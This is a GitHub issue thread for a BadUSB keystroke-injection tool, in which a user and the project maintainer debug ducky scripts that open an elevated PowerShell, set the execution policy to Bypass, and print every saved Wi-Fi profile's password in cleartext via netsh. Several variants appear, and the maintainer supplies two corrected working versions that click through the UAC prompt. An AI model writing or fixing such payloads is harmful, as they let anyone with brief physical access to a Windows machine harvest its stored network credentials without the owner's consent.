VoidNoi / BadCard

BadUSB for the Cardputer with ducky script support and extra functionality
GNU General Public License v3.0
67 stars 8 forks source link

LEFTARROW not working on long script #10

Open Herna4ndes opened 15 hours ago

Herna4ndes commented 15 hours ago

Hello, it's me again Well... now I'm having problems with the Left Arrow key and the TAB key. For example, this script to open Powershell as an administrator when running opens the window asking if I want to run it as an administrator, but when I press the left arrow or the TAB key it does not recognize it. could you help me please.

DELAY 1000 GUI r DELAY 1000 STRING powershell DELAY 1000 CTRL-SHIFT ENTER DELAY 1000 STRING Set-ExecutionPolicy Bypass -Scope Process -Force; $profiles = netsh wlan show profiles ^| Select-String "Todos os perfis de usuário" ^| ForEach-Object {($_ -split \":\")[1].Trim()}; foreach ($profile in $profiles) {Write-Host "Perfil: $profile"; $keyContent = netsh wlan show profile name=\"$profile\" key=clear ^| Select-String "Conteúdo da chave"; if ($keyContent) {$password = ($keyContent -split \":\")[1].Trim(); Write-Host "Senha: $password"} else {Write-Host "Senha não encontrada ou não configurada."}; Write-Host ""} // Comando PowerShell para listar perfis e senhas ENTER folhl4LQ

Herna4ndes commented 15 hours ago

I tried with the following script too DELAY 1000 GUI x DELAY 500 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 DOWNARROW DELAY 200 LEFTARROW DELAY 200 ENTER DELAY 1000 STRING Set-ExecutionPolicy Bypass -Scope Process -Force; Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command "$profiles = netsh wlan show profiles ^| Select-String \"Todos os perfis de usuário\" ^| ForEach-Object {($_ -split \":\")[1].Trim()}; foreach ($profile in $profiles) {Write-Host \"Perfil: $profile\"; $keyContent = netsh wlan show profile name=\"$profile\" key=clear ^| Select-String \"Conteúdo da chave\"; if ($keyContent) {$password = ($keyContent -split \":\")[1].Trim(); Write-Host \"Senha: $password\"} else {Write-Host \"Senha não encontrada ou não configurada.\"}; Write-Host \"\"}"' -Verb RunAs ENTER

Herna4ndes commented 15 hours ago

I recorded it for you to see

https://youtube.com/shorts/pL4V89lvoPg

Herna4ndes commented 15 hours ago

I also tried 000 GUI x DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 DOWNARROW DELAY 1000 TAB DELAY 1000 TAB ENTER DELAY 1000 STRING Set-ExecutionPolicy Bypass -Scope Process -Force; Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command "$profiles = netsh wlan show profiles ^| Select-String \"Todos os perfis de usuário\" ^| ForEach-Object {($_ -split \":\")[1].Trim()}; foreach ($profile in $profiles) {Write-Host \"Perfil: $profile\"; $keyContent = netsh wlan show profile name=\"$profile\" key=clear ^| Select-String \"Conteúdo da chave\"; if ($keyContent) {$password = ($keyContent -split \":\")[1].Trim(); Write-Host \"Senha: $password\"} else {Write-Host \"Senha não encontrada ou não configurada.\"}; Write-Host \"\"}"' -Verb RunAs ENTER

VoidNoi commented 9 hours ago

LEFTARROW does work, it just doesn't work on that specific script with so many DOWNARROWs for some reason. I'll see if I can figure out why it doesn't work on that script. Also just for your info the arrow keys are not part of the keyboard layouts they're the same for everyone and defined in the keys.h file. You can achieve the same thing with this script:

GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
STRING Set-ExecutionPolicy Bypass -Scope Process -Force; Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command "$profiles = netsh wlan show profiles ^| Select-String "Todos os perfis de usuário" ^| ForEach-Object {($_ -split ":")[1].Trim()}; foreach ($profile in $profiles) {Write-Host "Perfil: $profile"; $keyContent = netsh wlan show profile name="$profile" key=clear ^| Select-String "Conteúdo da chave"; if ($keyContent) {$password = ($keyContent -split ":")[1].Trim(); Write-Host "Senha: $password"} else {Write-Host "Senha não encontrada ou não configurada."}; Write-Host ""}"' -Verb RunAs
DELAY 1000
ENTER
DELAY 1000
LEFTARROW
ENTER

or

GUI r
DELAY 500
STRING powershell
CTRL SHIFT ENTER
DELAY 500
LEFTARROW
ENTER
DELAY 1000
STRING Set-ExecutionPolicy Bypass -Scope Process -Force; Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command "$profiles = netsh wlan show profiles ^| Select-String "Todos os perfis de usuário" ^| ForEach-Object {($_ -split ":")[1].Trim()}; foreach ($profile in $profiles) {Write-Host "Perfil: $profile"; $keyContent = netsh wlan show profile name="$profile" key=clear ^| Select-String "Conteúdo da chave"; if ($keyContent) {$password = ($keyContent -split ":")[1].Trim(); Write-Host "Senha: $password"} else {Write-Host "Senha não encontrada ou não configurada."}; Write-Host ""}"'
DELAY 1000
ENTER

You can maybe even remove some of the DELAYs or shorten them

Herna4ndes commented 7 hours ago

Again thank you very much.